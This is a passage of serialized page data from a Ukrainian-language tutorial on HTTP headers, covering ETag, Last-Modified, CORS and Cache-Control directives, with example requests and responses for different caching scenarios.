блокування",[3828,6914,6915],{},[3785,6916,6917],{},"Формати:",[3746,6919,6920,6929],{},[3749,6921,6922,6925,6926],{},[3785,6923,6924],{},"Сильний ETag"," (порівнюються байт-у-байт): ",[3759,6927,6928],{},"ETag: \"version-42-abc123\"",[3749,6930,6931,6934,6935],{},[3785,6932,6933],{},"Слабкий ETag"," (незначні відмінності допустимі): ",[3759,6936,6937],{},"ETag: W\u002F\"version-42\"",[3828,6939,6940],{},[3785,6941,6942],{},"Приклад: Перший запит",[3836,6944,6946],{"className":3913,"code":6945,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Fv1\u002Fproducts\u002F42 HTTP\u002F1.1\n",[3759,6947,6948],{"__ignoreMap":3844},[3919,6949,6950,6952,6955,6957,6959],{"class":3921,"line":3922},[3919,6951,3998],{"class":3997},[3919,6953,6954],{"class":3982}," \u002Fapi\u002Fv1\u002Fproducts\u002F42 ",[3919,6956,4004],{"class":3929},[3919,6958,4007],{"class":3982},[3919,6960,4011],{"class":4010},[3828,6962,6963],{},[3785,6964,5844],{},[3836,6966,6968],{"className":3913,"code":6967,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nContent-Type: application\u002Fjson\nETag: \"product-v5-hash789\"\nCache-Control: max-age=0, must-revalidate\n\n{\"id\":42,\"name\":\"Laptop\",\"price\":29999}\n",[3759,6969,6970,6982,6990,6999,7008,7012],{"__ignoreMap":3844},[3919,6971,6972,6974,6976,6978,6980],{"class":3921,"line":3922},[3919,6973,4004],{"class":3929},[3919,6975,4007],{"class":3982},[3919,6977,4862],{"class":4010},[3919,6979,4865],{"class":4010},[3919,6981,4868],{"class":3933},[3919,6983,6984,6986,6988],{"class":3921,"line":3937},[3919,6985,4281],{"class":3925},[3919,6987,3930],{"class":3929},[3919,6989,4946],{"class":3933},[3919,6991,6992,6994,6996],{"class":3921,"line":4024},[3919,6993,3765],{"class":3925},[3919,6995,3930],{"class":3929},[3919,6997,6998],{"class":3933}," \"product-v5-hash789\"\n",[3919,7000,7001,7003,7005],{"class":3921,"line":4035},[3919,7002,3761],{"class":3925},[3919,7004,3930],{"class":3929},[3919,7006,7007],{"class":3933}," max-age=0, must-revalidate\n",[3919,7009,7010],{"class":3921,"line":4046},[3919,7011,4883],{"emptyLinePlaceholder":4882},[3919,7013,7014,7016,7018,7020,7022,7024,7026,7028,7031,7033,7036,7038,7041],{"class":3921,"line":4057},[3919,7015,4888],{"class":3982},[3919,7017,4892],{"class":4891},[3919,7019,3930],{"class":3982},[3919,7021,4897],{"class":4010},[3919,7023,4900],{"class":3982},[3919,7025,4903],{"class":4891},[3919,7027,3930],{"class":3982},[3919,7029,7030],{"class":3933},"\"Laptop\"",[3919,7032,4900],{"class":3982},[3919,7034,7035],{"class":4891},"\"price\"",[3919,7037,3930],{"class":3982},[3919,7039,7040],{"class":4010},"29999",[3919,7042,4911],{"class":3982},[3828,7044,7045],{},[3785,7046,7047],{},"Умовний запит (наступного разу):",[3836,7049,7051],{"className":3913,"code":7050,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Fv1\u002Fproducts\u002F42 HTTP\u002F1.1\nIf-None-Match: \"product-v5-hash789\"\n",[3759,7052,7053,7065],{"__ignoreMap":3844},[3919,7054,7055,7057,7059,7061,7063],{"class":3921,"line":3922},[3919,7056,3998],{"class":3997},[3919,7058,6954],{"class":3982},[3919,7060,4004],{"class":3929},[3919,7062,4007],{"class":3982},[3919,7064,4011],{"class":4010},[3919,7066,7067,7069,7071],{"class":3921,"line":3937},[3919,7068,4390],{"class":3925},[3919,7070,3930],{"class":3929},[3919,7072,6998],{"class":3933},[3828,7074,7075],{},[3785,7076,7077],{},"Відповідь (ресурс не змінився):",[3836,7079,7081],{"className":3913,"code":7080,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 304 Not Modified\nETag: \"product-v5-hash789\"\nCache-Control: max-age=0, must-revalidate\n",[3759,7082,7083,7097,7105],{"__ignoreMap":3844},[3919,7084,7085,7087,7089,7091,7094],{"class":3921,"line":3922},[3919,7086,4004],{"class":3929},[3919,7088,4007],{"class":3982},[3919,7090,4862],{"class":4010},[3919,7092,7093],{"class":4010}," 304",[3919,7095,7096],{"class":3933}," Not Modified\n",[3919,7098,7099,7101,7103],{"class":3921,"line":3937},[3919,7100,3765],{"class":3925},[3919,7102,3930],{"class":3929},[3919,7104,6998],{"class":3933},[3919,7106,7107,7109,7111],{"class":3921,"line":4024},[3919,7108,3761],{"class":3925},[3919,7110,3930],{"class":3929},[3919,7112,7007],{"class":3933},[3828,7114,7115],{},"Тіло порожнє — браузер використовує закешовані дані.",[3846,7117,7119],{"id":7118},"last-modified-дата-останньої-модифікації","Last-Modified — Дата останньої модифікації",[3828,7121,7122,7124,7125,7128],{},[3785,7123,4511],{}," Вказує, коли ресурс був ",[3785,7126,7127],{},"востаннє змінений",". Використовується для умовних запитів.",[3828,7130,7131],{},[3785,7132,6942],{},[3836,7134,7136],{"className":3913,"code":7135,"language":3915,"meta":3844,"style":3844},"GET \u002Fdocuments\u002Freport.pdf HTTP\u002F1.1\n",[3759,7137,7138],{"__ignoreMap":3844},[3919,7139,7140,7142,7145,7147,7149],{"class":3921,"line":3922},[3919,7141,3998],{"class":3997},[3919,7143,7144],{"class":3982}," \u002Fdocuments\u002Freport.pdf ",[3919,7146,4004],{"class":3929},[3919,7148,4007],{"class":3982},[3919,7150,4011],{"class":4010},[3828,7152,7153],{},[3785,7154,5844],{},[3836,7156,7158],{"className":3913,"code":7157,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nContent-Type: application\u002Fpdf\nLast-Modified: Wed, 15 Aug 2026 10:00:00 GMT\nCache-Control: public, max-age=3600\nContent-Length: 1048576\n\n[PDF дані]\n",[3759,7159,7160,7172,7181,7190,7199,7207,7211],{"__ignoreMap":3844},[3919,7161,7162,7164,7166,7168,7170],{"class":3921,"line":3922},[3919,7163,4004],{"class":3929},[3919,7165,4007],{"class":3982},[3919,7167,4862],{"class":4010},[3919,7169,4865],{"class":4010},[3919,7171,4868],{"class":3933},[3919,7173,7174,7176,7178],{"class":3921,"line":3937},[3919,7175,4281],{"class":3925},[3919,7177,3930],{"class":3929},[3919,7179,7180],{"class":3933}," application\u002Fpdf\n",[3919,7182,7183,7185,7187],{"class":3921,"line":4024},[3919,7184,3768],{"class":3925},[3919,7186,3930],{"class":3929},[3919,7188,7189],{"class":3933}," Wed, 15 Aug 2026 10:00:00 GMT\n",[3919,7191,7192,7194,7196],{"class":3921,"line":4035},[3919,7193,3761],{"class":3925},[3919,7195,3930],{"class":3929},[3919,7197,7198],{"class":3933}," public, max-age=3600\n",[3919,7200,7201,7203,7205],{"class":3921,"line":4046},[3919,7202,4284],{"class":3925},[3919,7204,3930],{"class":3929},[3919,7206,5891],{"class":3933},[3919,7208,7209],{"class":3921,"line":4057},[3919,7210,4883],{"emptyLinePlaceholder":4882},[3919,7212,7213,7215,7218,7220],{"class":3921,"line":4068},[3919,7214,5308],{"class":3982},[3919,7216,7217],{"class":5311},"PDF",[3919,7219,5315],{"class":5311},[3919,7221,5318],{"class":3982},[3828,7223,7224],{},[3785,7225,7226],{},"Умовний запит:",[3836,7228,7230],{"className":3913,"code":7229,"language":3915,"meta":3844,"style":3844},"GET \u002Fdocuments\u002Freport.pdf HTTP\u002F1.1\nIf-Modified-Since: Wed, 15 Aug 2026 10:00:00 GMT\n",[3759,7231,7232,7244],{"__ignoreMap":3844},[3919,7233,7234,7236,7238,7240,7242],{"class":3921,"line":3922},[3919,7235,3998],{"class":3997},[3919,7237,7144],{"class":3982},[3919,7239,4004],{"class":3929},[3919,7241,4007],{"class":3982},[3919,7243,4011],{"class":4010},[3919,7245,7246,7248,7250],{"class":3921,"line":3937},[3919,7247,4393],{"class":3925},[3919,7249,3930],{"class":3929},[3919,7251,7189],{"class":3933},[3828,7253,7254],{},[3785,7255,7256],{},"Відповідь (не змінювався):",[3836,7258,7260],{"className":3913,"code":7259,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 304 Not Modified\nLast-Modified: Wed, 15 Aug 2026 10:00:00 GMT\n",[3759,7261,7262,7274],{"__ignoreMap":3844},[3919,7263,7264,7266,7268,7270,7272],{"class":3921,"line":3922},[3919,7265,4004],{"class":3929},[3919,7267,4007],{"class":3982},[3919,7269,4862],{"class":4010},[3919,7271,7093],{"class":4010},[3919,7273,7096],{"class":3933},[3919,7275,7276,7278,7280],{"class":3921,"line":3937},[3919,7277,3768],{"class":3925},[3919,7279,3930],{"class":3929},[3919,7281,7189],{"class":3933},[5327,7283,7284,7289],{},[3828,7285,7286],{},[3785,7287,7288],{},"ETag vs Last-Modified:",[3746,7290,7291,7296],{},[3749,7292,7293,7295],{},[3785,7294,3765],{}," — точніший (базується на хеші або версії), але потребує обчислень.",[3749,7297,7298,7300,7301,7303,7306,7307,4295,7309,7311],{},[3785,7299,3768],{}," — простіший (timestamp), але менш точний (точність до секунди, не враховує зміни у метаданих).",[4703,7302],{},[3785,7304,7305],{},"Краща практика:"," використовувати обидва. Клієнт надсилає ",[3759,7308,4390],{},[3759,7310,4393],{},", сервер перевіряє обидва.",[3846,7313,7315],{"id":7314},"access-control-allow-origin-cors-дозвіл-детально-у-наступному-розділі","Access-Control-Allow-Origin — CORS-дозвіл (детально у наступному розділі)",[3828,7317,7318,7320,7321,7324,7325,7328],{},[3785,7319,4511],{}," Вказує, які ",[3785,7322,7323],{},"домени"," мають доступ до ресурсу у ",[3785,7326,7327],{},"міждоменних запитах"," (CORS).",[3828,7330,7331],{},[3785,7332,7333],{},"Приклад 1: Дозвіл конкретному домену",[3836,7335,7337],{"className":3913,"code":7336,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nAccess-Control-Allow-Origin: https:\u002F\u002Ffrontend.example.com\nAccess-Control-Allow-Credentials: true\nContent-Type: application\u002Fjson\n\n{\"data\":\"...\"}\n",[3759,7338,7339,7351,7360,7370,7378,7382],{"__ignoreMap":3844},[3919,7340,7341,7343,7345,7347,7349],{"class":3921,"line":3922},[3919,7342,4004],{"class":3929},[3919,7344,4007],{"class":3982},[3919,7346,4862],{"class":4010},[3919,7348,4865],{"class":4010},[3919,7350,4868],{"class":3933},[3919,7352,7353,7355,7357],{"class":3921,"line":3937},[3919,7354,4447],{"class":3925},[3919,7356,3930],{"class":3929},[3919,7358,7359],{"class":3933}," https:\u002F\u002Ffrontend.example.com\n",[3919,7361,7362,7365,7367],{"class":3921,"line":4024},[3919,7363,7364],{"class":3925},"Access-Control-Allow-Credentials",[3919,7366,3930],{"class":3929},[3919,7368,7369],{"class":3933}," true\n",[3919,7371,7372,7374,7376],{"class":3921,"line":4035},[3919,7373,4281],{"class":3925},[3919,7375,3930],{"class":3929},[3919,7377,4946],{"class":3933},[3919,7379,7380],{"class":3921,"line":4046},[3919,7381,4883],{"emptyLinePlaceholder":4882},[3919,7383,7384,7386,7389,7391,7394],{"class":3921,"line":4057},[3919,7385,4888],{"class":3982},[3919,7387,7388],{"class":4891},"\"data\"",[3919,7390,3930],{"class":3982},[3919,7392,7393],{"class":3933},"\"...\"",[3919,7395,4911],{"class":3982},[3828,7397,7398],{},[3785,7399,7400],{},"Приклад 2: Дозвіл усім доменам (публічне API)",[3836,7402,7404],{"className":3913,"code":7403,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nAccess-Control-Allow-Origin: *\nContent-Type: application\u002Fjson\n\n{\"data\":\"...\"}\n",[3759,7405,7406,7418,7427,7435,7439],{"__ignoreMap":3844},[3919,7407,7408,7410,7412,7414,7416],{"class":3921,"line":3922},[3919,7409,4004],{"class":3929},[3919,7411,4007],{"class":3982},[3919,7413,4862],{"class":4010},[3919,7415,4865],{"class":4010},[3919,7417,4868],{"class":3933},[3919,7419,7420,7422,7424],{"class":3921,"line":3937},[3919,7421,4447],{"class":3925},[3919,7423,3930],{"class":3929},[3919,7425,7426],{"class":3933}," *\n",[3919,7428,7429,7431,7433],{"class":3921,"line":4024},[3919,7430,4281],{"class":3925},[3919,7432,3930],{"class":3929},[3919,7434,4946],{"class":3933},[3919,7436,7437],{"class":3921,"line":4035},[3919,7438,4883],{"emptyLinePlaceholder":4882},[3919,7440,7441,7443,7445,7447,7449],{"class":3921,"line":4046},[3919,7442,4888],{"class":3982},[3919,7444,7388],{"class":4891},[3919,7446,3930],{"class":3982},[3919,7448,7393],{"class":3933},[3919,7450,4911],{"class":3982},[3820,7452],{},[3823,7454,7456],{"id":7455},"механізми-кешування-через-заголовки","Механізми кешування через заголовки",[3828,7458,7459,7460,7463],{},"Кешування є критично важливим для ",[3785,7461,7462],{},"продуктивності веб-застосунків",", зменшення навантаження на сервер та економії пропускної здатності. HTTP надає потужні механізми керування кешем через заголовки.",[3846,7465,7467],{"id":7466},"cache-control-головний-заголовок-кешування","Cache-Control — Головний заголовок кешування",[3828,7469,7470,7472,7473,7476],{},[3785,7471,4511],{}," Визначає ",[3785,7474,7475],{},"політику кешування"," для ресурсу. Застосовується як у запиті, так і у відповіді.",[3828,7478,7479],{},[3785,7480,4732],{},[3836,7482,7485],{"className":7483,"code":7484,"language":3841},[3839],"Cache-Control: директива1, директива2, директива3\n",[3759,7486,7484],{"__ignoreMap":3844},[5364,7488,7490],{"id":7489},"директиви-cache-control-у-відповіді","Директиви Cache-Control у відповіді",[3828,7492,7493],{},[3785,7494,7495],{},"1. public — Кешування дозволено всім (включно з проксі)",[3836,7497,7499],{"className":3913,"code":7498,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nCache-Control: public, max-age=86400\nContent-Type: image\u002Fjpeg\n\n[зображення логотипу]\n",[3759,7500,7501,7513,7522,7530,7534],{"__ignoreMap":3844},[3919,7502,7503,7505,7507,7509,7511],{"class":3921,"line":3922},[3919,7504,4004],{"class":3929},[3919,7506,4007],{"class":3982},[3919,7508,4862],{"class":4010},[3919,7510,4865],{"class":4010},[3919,7512,4868],{"class":3933},[3919,7514,7515,7517,7519],{"class":3921,"line":3937},[3919,7516,3761],{"class":3925},[3919,7518,3930],{"class":3929},[3919,7520,7521],{"class":3933}," public, max-age=86400\n",[3919,7523,7524,7526,7528],{"class":3921,"line":4024},[3919,7525,4281],{"class":3925},[3919,7527,3930],{"class":3929},[3919,7529,6508],{"class":3933},[3919,7531,7532],{"class":3921,"line":4035},[3919,7533,4883],{"emptyLinePlaceholder":4882},[3919,7535,7536,7538,7541,7544],{"class":3921,"line":4046},[3919,7537,5308],{"class":3982},[3919,7539,7540],{"class":5311},"зображення",[3919,7542,7543],{"class":5311}," логотипу",[3919,7545,5318],{"class":3982},[3828,7547,7548],{},"Ресурс можна кешувати на клієнті, CDN, проксі-серверах.",[3828,7550,7551],{},[3785,7552,7553],{},"2. private — Кешування лише у браузері (не на проксі)",[3836,7555,7557],{"className":3913,"code":7556,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nCache-Control: private, max-age=3600\nContent-Type: application\u002Fjson\n\n{\"email\":\"user@example.com\",\"personalData\":\"...\"}\n",[3759,7558,7559,7571,7580,7588,7592],{"__ignoreMap":3844},[3919,7560,7561,7563,7565,7567,7569],{"class":3921,"line":3922},[3919,7562,4004],{"class":3929},[3919,7564,4007],{"class":3982},[3919,7566,4862],{"class":4010},[3919,7568,4865],{"class":4010},[3919,7570,4868],{"class":3933},[3919,7572,7573,7575,7577],{"class":3921,"line":3937},[3919,7574,3761],{"class":3925},[3919,7576,3930],{"class":3929},[3919,7578,7579],{"class":3933}," private, max-age=3600\n",[3919,7581,7582,7584,7586],{"class":3921,"line":4024},[3919,7583,4281],{"class":3925},[3919,7585,3930],{"class":3929},[3919,7587,4946],{"class":3933},[3919,7589,7590],{"class":3921,"line":4035},[3919,7591,4883],{"emptyLinePlaceholder":4882},[3919,7593,7594,7596,7598,7600,7603,7605,7608,7610,7612],{"class":3921,"line":4046},[3919,7595,4888],{"class":3982},[3919,7597,6219],{"class":4891},[3919,7599,3930],{"class":3982},[3919,7601,7602],{"class":3933},"\"user@example.com\"",[3919,7604,4900],{"class":3982},[3919,7606,7607],{"class":4891},"\"personalData\"",[3919,7609,3930],{"class":3982},[3919,7611,7393],{"class":3933},[3919,7613,4911],{"class":3982},[3828,7615,7616,7617,7620],{},"Використовується для ",[3785,7618,7619],{},"персоналізованих даних",", які не повинні кешуватися на проміжних серверах.",[3828,7622,7623],{},[3785,7624,7625],{},"3. no-cache — Перевіряти з сервером перед використанням кешу",[3836,7627,7629],{"className":3913,"code":7628,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nCache-Control: no-cache\nETag: \"version-5\"\n",[3759,7630,7631,7643,7651],{"__ignoreMap":3844},[3919,7632,7633,7635,7637,7639,7641],{"class":3921,"line":3922},[3919,7634,4004],{"class":3929},[3919,7636,4007],{"class":3982},[3919,7638,4862],{"class":4010},[3919,7640,4865],{"class":4010},[3919,7642,4868],{"class":3933},[3919,7644,7645,7647,7649],{"class":3921,"line":3937},[3919,7646,3761],{"class":3925},[3919,7648,3930],{"class":3929},[3919,7650,4086],{"class":3933},[3919,7652,7653,7655,7657],{"class":3921,"line":4024},[3919,7654,3765],{"class":3925},[3919,7656,3930],{"class":3929},[3919,7658,7659],{"class":3933}," \"version-5\"\n",[3828,7661,7662,7663,7666,7667,7670,7671,7673],{},"Ресурс ",[3785,7664,7665],{},"можна кешувати",", але перед використанням браузер повинен ",[3785,7668,7669],{},"перевірити з сервером"," (умовний запит з ",[3759,7672,4390],{},"), чи не змінився ресурс.",[3828,7675,7676],{},[3785,7677,7678],{},"4. no-store — Заборона кешування взагалі",[3836,7680,7682],{"className":3913,"code":7681,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nCache-Control: no-store\nContent-Type: application\u002Fjson\n\n{\"creditCard\":\"1234-5678-9012-3456\"}\n",[3759,7683,7684,7696,7705,7713,7717],{"__ignoreMap":3844},[3919,7685,7686,7688,7690,7692,7694],{"class":3921,"line":3922},[3919,7687,4004],{"class":3929},[3919,7689,4007],{"class":3982},[3919,7691,4862],{"class":4010},[3919,7693,4865],{"class":4010},[3919,7695,4868],{"class":3933},[3919,7697,7698,7700,7702],{"class":3921,"line":3937},[3919,7699,3761],{"class":3925},[3919,7701,3930],{"class":3929},[3919,7703,7704],{"class":3933}," no-store\n",[3919,7706,7707,7709,7711],{"class":3921,"line":4024},[3919,7708,4281],{"class":3925},[3919,7710,3930],{"class":3929},[3919,7712,4946],{"class":3933},[3919,7714,7715],{"class":3921,"line":4035},[3919,7716,4883],{"emptyLinePlaceholder":4882},[3919,7718,7719,7721,7724,7726,7729],{"class":3921,"line":4046},[3919,7720,4888],{"class":3982},[3919,7722,7723],{"class":4891},"\"creditCard\"",[3919,7725,3930],{"class":3982},[3919,7727,7728],{"class":3933},"\"1234-5678-9012-3456\"",[3919,7730,4911],{"class":3982},[3828,7732,7616,7733,7736],{},[3785,7734,7735],{},"чутливих даних"," (банківська інформація, паролі, токени). Браузер не зберігає відповідь ні у кеші, ні на диску.",[3828,7738,7739],{},[3785,7740,7741],{},"5. max-age=\u003Cсекунди> — Час актуальності у секундах",[3836,7743,7745],{"className":3913,"code":7744,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nCache-Control: public, max-age=31536000\nContent-Type: application\u002Fjavascript\n\n\u002F* Файл з версією у назві: app.v5.js *\u002F\n",[3759,7746,7747,7759,7768,7777,7781],{"__ignoreMap":3844},[3919,7748,7749,7751,7753,7755,7757],{"class":3921,"line":3922},[3919,7750,4004],{"class":3929},[3919,7752,4007],{"class":3982},[3919,7754,4862],{"class":4010},[3919,7756,4865],{"class":4010},[3919,7758,4868],{"class":3933},[3919,7760,7761,7763,7765],{"class":3921,"line":3937},[3919,7762,3761],{"class":3925},[3919,7764,3930],{"class":3929},[3919,7766,7767],{"class":3933}," public, max-age=31536000\n",[3919,7769,7770,7772,7774],{"class":3921,"line":4024},[3919,7771,4281],{"class":3925},[3919,7773,3930],{"class":3929},[3919,7775,7776],{"class":3933}," application\u002Fjavascript\n",[3919,7778,7779],{"class":3921,"line":4035},[3919,7780,4883],{"emptyLinePlaceholder":4882},[3919,7782,7783],{"class":3921,"line":4046},[3919,7784,7785],{"class":3982},"\u002F* Файл з версією у назві: app.v5.js *\u002F\n",[3828,7787,7788],{},"Ресурс вважається актуальним протягом 31 536 000 секунд (1 рік). Після цього браузер повинен запитати свіжу версію.",[3828,7790,7791],{},[3785,7792,7793],{},"6. s-maxage=\u003Cсекунди> — Час актуальності для shared-кешів (CDN, проксі)",[3836,7795,7797],{"className":3913,"code":7796,"language":3915,"meta":3844,"style":3844},"Cache-Control: public, max-age=3600, s-maxage=86400\n",[3759,7798,7799],{"__ignoreMap":3844},[3919,7800,7801,7803,7805],{"class":3921,"line":3922},[3919,7802,3761],{"class":3925},[3919,7804,3930],{"class":3929},[3919,7806,7807],{"class":3933}," public, max-age=3600, s-maxage=86400\n",[3746,7809,7810,7816],{},[3749,7811,7812,7813,4139],{},"Браузери: кешують на 1 годину (",[3759,7814,7815],{},"max-age=3600",[3749,7817,7818,7819,4139],{},"CDN\u002Fпроксі: кешують на 1 день (",[3759,7820,7821],{},"s-maxage=86400",[3828,7823,7824],{},[3785,7825,7826],{},"7. must-revalidate — Обов'язкова перевірка після закінчення max-age",[3836,7828,7830],{"className":3913,"code":7829,"language":3915,"meta":3844,"style":3844},"Cache-Control: public, max-age=3600, must-revalidate\nETag: \"content-hash-xyz\"\n",[3759,7831,7832,7841],{"__ignoreMap":3844},[3919,7833,7834,7836,7838],{"class":3921,"line":3922},[3919,7835,3761],{"class":3925},[3919,7837,3930],{"class":3929},[3919,7839,7840],{"class":3933}," public, max-age=3600, must-revalidate\n",[3919,7842,7843,7845,7847],{"class":3921,"line":3937},[3919,7844,3765],{"class":3925},[3919,7846,3930],{"class":3929},[3919,7848,7849],{"class":3933}," \"content-hash-xyz\"\n",[3828,7851,7852,7853,7856],{},"Після закінчення 1 години браузер ",[3785,7854,7855],{},"обов'язково"," повинен перевірити з сервером, навіть якщо з'єднання повільне.",[3828,7858,7859],{},[3785,7860,7861],{},"8. immutable — Ресурс ніколи не зміниться",[3836,7863,7865],{"className":3913,"code":7864,"language":3915,"meta":3844,"style":3844},"HTTP\u002F1.1 200 OK\nCache-Control: public, max-age=31536000, immutable\nContent-Type: text\u002Fcss\n\n\u002F* Файл з хешем: styles.a3f2b9d.css *\u002F\n",[3759,7866,7867,7879,7888,7897,7901],{"__ignoreMap":3844},[3919,7868,7869,7871,7873,7875,7877],{"class":3921,"line":3922},[3919,7870,4004],{"class":3929},[3919,7872,4007],{"class":3982},[3919,7874,4862],{"class":4010},[3919,7876,4865],{"class":4010},[3919,7878,4868],{"class":3933},[3919,7880,7881,7883,7885],{"class":3921,"line":3937},[3919,7882,3761],{"class":3925},[3919,7884,3930],{"class":3929},[3919,7886,7887],{"class":3933}," public, max-age=31536000, immutable\n",[3919,7889,7890,7892,7894],{"class":3921,"line":4024},[3919,7891,4281],{"class":3925},[3919,7893,3930],{"class":3929},[3919,7895,7896],{"class":3933}," text\u002Fcss\n",[3919,7898,7899],{"class":3921,"line":4035},[3919,7900,4883],{"emptyLinePlaceholder":4882},[3919,7902,7903],{"class":3921,"line":4046},[3919,7904,7905],{"class":3982},"\u002F* Файл з хешем: styles.a3f2b9d.css *\u002F\n",[3828,7907,7908,7909,7912,7913,7916],{},"Навіть при оновленні сторінки (F5) браузер ",[3785,7910,7911],{},"не перевіряє"," цей ресурс з сервером. Використовується для ",[3785,7914,7915],{},"версійованих статичних файлів"," (з хешем або версією у назві).",[5364,7918,7920],{"id":7919},"комбінації-директив-для-різних-сценаріїв","Комбінації директив для різних сценаріїв",[3828,7922,7923],{},[3785,7924,7925],{},"Сценарій 1: Статичні файли з версією (CSS, JS, шрифти, зображення)",[3836,7927,7929],{"className":3913,"code":7928,"language":3915,"meta":3844,"style":3844},"Cache-Control: public, max-age=31536000, immutable\n",[3759,7930,7931],{"__ignoreMap":3844},[3919,7932,7933,7935,7937],{"class":3921,"line":3922},[3919,7934,3761],{"class":3925},[3919,7936,3930],{"class":3929},[3919,7938,7887],{"class":3933},[3828,7940,7941],{},"Кешувати назавжди. При зміні файлу змінюється його назва (через хеш).",[3828,7943,7944],{},[3785,7945,7946],{},"Сценарій 2: HTML-сторінка (потрібна актуальність)",[3836,7948,7950],{"className":3913,"code":7949,"language":3915,"meta":3844,"style":3844},"Cache-Control: no-cache, must-revalidate\nETag: \"html-v42\"\n",[3759,7951,7952,7961],{"__ignoreMap":3844},[3919,7953,7954,7956,7958],{"class":3921,"line":3922},[3919,7955,3761],{"class":3925},[3919,7957,3930],{"class":3929},[3919,7959,7960],{"class":3933}," no-cache, must-revalidate\n",[3919,7962,7963,7965,7967],{"class":3921,"line":3937},[3919,7964,3765],{"class":3925},[3919,7966,3930],{"class":3929},[3919,7968,7969],{"class":3933}," \"html-v42\"\n",[3828,7971,7972],{},"Завжди перевіряти з сервером, але використовувати 304 для економії трафіку.",[3828,7974,7975],{},[3785,7976,7977],{},"Сценарій 3: API-відповідь (дані можуть змінюватися)",[3836,7979,7981],{"className":3913,"code":7980,"language":3915,"meta":3844,"style":3844},"Cache-Control: private, max-age=300, must-revalidate\nETag: \"data-hash-xyz\"\n",[3759,7982,7983,7992],{"__ignoreMap":3844},[3919,7984,7985,7987,7989],{"class":3921,"line":3922},[3919,7986,3761],{"class":3925},[3919,7988,3930],{"class":3929},[3919,7990,7991],{"class":3933}," private, max-age=300, must-revalidate\n",[3919,7993,7994,7996,7998],{"class":3921,"line":3937},[3919,7995,3765],{"class":3925},[3919,7997,3930],{"class":3929},[3919,7999,8000],{"class":3933}," \"data-hash-xyz\"\n",[3828,8002,8003],{},"Кешувати на 5 хвилин, потім обов'язково перевірити.",[3828,8005,8006],{},[3785,8007,8008],{},"Сценарій 4: Публічні дані (можна кешувати на CDN)",[3836,8010,8012],{"className":3913,"code":8011,"language":3915,"meta":3844,"style":3844},"Cache-Control: public, max-age=3600, s-maxage=86400, stale-while-revalidate=60\n",[3759,8013,8014],{"__ignoreMap":3844},[3919,8015,8016,8018,8020],{"class":3921,"line":3922},[3919,8017,3761],{"class":3925},[3919,8019,3930],{"class":3929},[3919,8021,8022],{"class":3933}," public, max-age=3600, s-maxage=86400, stale-while-revalidate=60\n",[3746,8024,8025,8028,8031],{},[3749,8026,8027],{},"Браузери: 1 година.",[3749,8029,8030],{},"CDN: 1 день.",[3749,8032,8033],{},"Якщо закінчився час, використовувати старі дані протягом 60 секунд, поки оновлюються у фоні.",[3828,8035,8036],{},[3785,8037,8038],{},"Сценарій 5: Чутливі дані (без кешування)",[3836,8040,8042],{"className":3913,"code":8041,"language":3915,"meta":3844,"style":3844},"Cache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nExpires: 0\n",[3759,8043,8044,8053,8062],{"__ignoreMap":3844},[3919,8045,8046,8048,8050],{"class":3921,"line":3922},[3919,8047,3761],{"class":3925},[3919,8049,3930],{"class":3929},[3919,8051,8052],{"class":3933}," no-store, no-cache, must-revalidate\n",[3919,8054,8055,8058,8060],{"class":3921,"line":3937},[3919,8056,8057],{"class":3925},"Pragma",[3919,8059,3930],{"class":3929},[3919,8061,4086],{"class":3933},[3919,8063,8064,8066,8068],{"class":3921,"line":4024},[3919,8065,4375],{"class":3925},[3919,8067,3930],{"class":3929},[3919,8069,6158],{"class":3933},[3828,8071,8072],{},"Жодного кешування для банківських даних, медичних записів, особистої інформації.",[5364,8074,8076],{"id":8075},"директиви-cache-control-у-запиті","Директиви Cache-Control у запиті",[3828,8078,8079,8080,8082],{},"Клієнт також може використовувати ",[3759,8081,3761],{}," для контролю кешування:",[3828,8084,8085],{},[3785,8086,8087],{},"1. no-cache — Запитати свіжу версію (hard refresh)",[3836,8089,8091],{"className":3913,"code":8090,"language":3915,"meta":3844,"style":3844},"GET \u002Fapi\u002Fv1\u002Fproducts HTTP\u002F1.1\nCache-Control: no-cache\n",[3759,8092,8093,8105],{"__ignoreMap":3844},[3919,8094,8095,8097,8099,8101,8103],{"class":3921,"line":3922},[3919,8096,3998],{"class":3997},[3919,8098,4765],{"class":3982},[3919,8100,4004],{"class":3929},[3919,8102,4007],{"class":3982},[3919,8104,4011],{"class":4010},[3919,8106,8107,8109,8111],{"class":3921,"line":3937},[3919,8108,3761],{"class":3925},[3919,8110,3930],{"class":3929},[3919,8112,4086],{"class":3933},[3828,8114,8115],{},"Навіть якщо є кешована версія, запитати з сервера.",[3828,8117,8118],{},[3785,8119,8120],{},"2. max-age=0 — Перевірити актуальність",[3836,8122,8124],{"className":3913,"code":8123,"language":3915,"meta":3844,"style":3844},"GET \u002Fpage HTTP\u002F1.1\nCache-Control: max-age=0\n",[3759,8125,8126,8139],{"__ignoreMap":3844},[3919,8127,8128,8130,8133,8135,8137],{"class":3921,"line":3922},[3919,8129,3998],{"class":3997},[3919,8131,8132],{"class":3982}," \u002Fpage ",[3919,8134,4004],{"class":3929},[3919,8136,4007],{"class":3982},[3919,8138,4011],{"class":4010},[3919,8140,8141,8143,8145],{"class":3921,"line":3937},[3919,8142,3761],{"class":3925},[3919,8144,3930],{"class":3929},[3919,8146,8147],{"class":3933}," max-age=0\n",[3828,8149,8150,8151,3769],{},"Аналогічно ",[3759,8152,8153],{},"no-cache",[3828,8155,8156],{},[3785,8157,8158],{},"3. only-if-cached — Використовувати лише кеш",[3836,8160,8162],{"className":3913,"code":8161,"language":3915,"meta":3844,"style":3844},"GET \u002Fdata HTTP\u002F1.1\nCache-Control: 